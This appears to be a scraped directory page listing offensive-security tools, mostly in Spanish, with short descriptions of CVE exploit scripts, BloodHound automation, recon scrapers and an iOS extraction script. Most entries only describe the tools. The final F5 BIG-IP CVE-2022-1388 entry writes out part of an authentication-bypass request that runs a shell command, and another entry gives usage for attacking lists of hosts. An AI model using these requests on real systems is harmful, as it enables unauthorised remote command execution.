CVE-2024-7456scripts

Algunos scripts simples para ayudar a explotar SQLi usando tanto bash como Node.js basados en CVE-2024-7456 https://nvd.nist.gov/vuln/detail/CVE-2024-7456...

cypheroth

Cypheroth Conjunto de herramientas automatizado y extensible que ejecuta consultas cypher contra el backend Neo4j de Bloodhound y guarda la salida en hojas de cálculo. Descripción Este es un script Bash que automatiza la ejecución de consultas cypher contra datos de Bloodhound almacenados en una...

cypheroth

Cypheroth Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to spreadsheets. Description This is a bash script that automates running cypher queries against Bloodhound data stored in a Neo4j database. I found myself re-running the same...

bing-ip2hosts

Bing-ip2hosts Bing-ip2hosts es un scraper web de Bing.com para descubrir nombres de host por dirección IP. Descripción Bing-ip2hosts es un scraper web de Bing.com que descubre nombres de host por dirección IP. Bing es el motor de búsqueda insignia de Microsoft, anteriormente conocido como MSN...

pentest-tools

pentest-tools Una colección de herramientas de seguridad personalizadas para necesidades rápidas. Nota importante ‼ Una gran limpieza ocurrió en 2022-11 ‼ Algunos scripts inútiles/que no funcionan han sido archivados y otros se han movido a su propio repositorio para tener más visibilidad, no dud...

springhound

springhound Creado tras el lanzamiento de CVE-2022-22965 y CVE-2022-22963. Script Bash que detecta ocurrencias de Spring Framework en tus proyectos y sistemas, permitiéndote obtener información sobre las versiones utilizadas. Desempaqueta JARs y analiza sus archivos Manifest. Uso: ./springhound.s...

CVE-2025-20029-simulation

🔐 Replayable Attack Simulation – CVE-2025-20029 ⚠️ This repository simulates CVE-2025-20029 in a safe and controlled environment. It does not interact with real F5 BIG-IP systems or exploit any production service. The goal is educational: to study the vulnerability pattern and test payloads safely...

TimeInjector

TimeInjector Time injector es un script de explotación de CVE-2018-14714 en bash Para determinar si el objetivo es vulnerable, el script primero verifica si el objetivo es accesible y si puede establecer una sesión de inicio de sesión. Después, comprueba la existencia de páginas específicas y...

CVE-2020-7384

CVE-2020-7384 Este es un exploit hecho en bash para CVE-2020-7384. Es una modificación del código de nikhil1232 aquí: https://github.com/nikhil1232/CVE-2020-7384/blob/main/CVE-2020-7384.sh Mi objetivo era hacer el exploit más fácil de ejecutar, junto con agregar algunas mejoras de calidad de vida...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Script en bash que permite identificar y/o explotar la vulnerabilidad Log4shell de forma remota. Esta herramienta realiza distintas pruebas usando LDAP payloads y cabeceras X-Api-Version, User-Agent y X-Forwarded-For. Siempre utilizar este script con autorización previa...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit Exploit y script de verificación para CVE 2022-1388 Uso Verificar contra un solo host root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl Atacar un host y probar comando root@kitploit: python CVE20221388.py -a true -u targeturl -c command Atacar lista de hosts...

CVE-2014-6271

Explotación de Shellshock CVE-2014-6271 Shellshock es efectivamente una vulnerabilidad de ejecución remota de comandos en BASH. Este script explota la vulnerabilidad en el entorno web en Apache o similar con modcgi habilitado. La vulnerabilidad radica en la manipulación de variables de entorno, q...

CVE-2023-36845

Automatización para Juniper CVE:2023-36845 por Asbawy - Modificado por Ak1t4 Resumen Es un script bash diseñado para comprobar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones URL de Juniper, envía una solicitud a cada una y determina si el sistema es vulnerable segú...

CVE-2014-6271

Probador de CVE-2014-6271 Bash Shellshock y Aftershock para Ansible 1. Instalar Ansible http://docs.ansible.com/introinstallation.html 2. Agregar servidores al archivo de inventario ejemplo: root@kitploit: username@ip 3. Copiar tu clave pública a .ssh/authorizedkeys de los servidores remotos 4...

Juniper-Bug-Automation-CVE-2023-36845

Automatización para Juniper CVE:2023-36845 Descripción general Este es un script bash diseñado para comprobar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones IP, envía una petición a cada una y determina si el sistema es vulnerable según la respuesta. Uso Para usar ...

ID-entify

Por Carlos Ramírez L. | BillyV4 | V 1.0 ACERCA DE ID-entify es una herramienta que te permite buscar información de manera pasiva relacionada con un dominio. BÚSQUEDA DE INFORMACIÓN RELACIONADA CON UN DOMINIO: Correos electrónicos Direcciones IP Subdominios Información sobre tecnologías web Tipo ...

ios_triage

iOS Triage Script Bash para extraer datos de un dispositivo iOS "checkra1ned" Desarrollado y probado en Mac OS X Mojave 10.14.6 Requisitos Obligatorios checkra1n https://checkra.in/ libimobiledevice https://www.libimobiledevice.org/ SSHPASS para Mac OS X https://gist.github.com/arunoda/7790979...

CVE-2014-5284

CVE-2014-5284 Implementación en Bash de CVE-2014-5284 Título del exploit: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation Python es bueno, pero no siempre funciona Autor del exploit: mbadanoiu Autor del exploit en Python: skynet-13 Página del proveedor: www.ossec.net...

CVE-2023-23752

CVE-2023-23752 Un script bash que explota los endpoints vulnerables de la API de Joomla! 4.0 - 4.2.7 mediante el uso de curl y automatización. Entorno de Pruebas Tryhackme: https://tryhackme.com/r/room/joomify...

CVE-2022-1388_PoC

Explotación de RCE en F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Línea de comandos curl: root@kitploit: $ curl -i...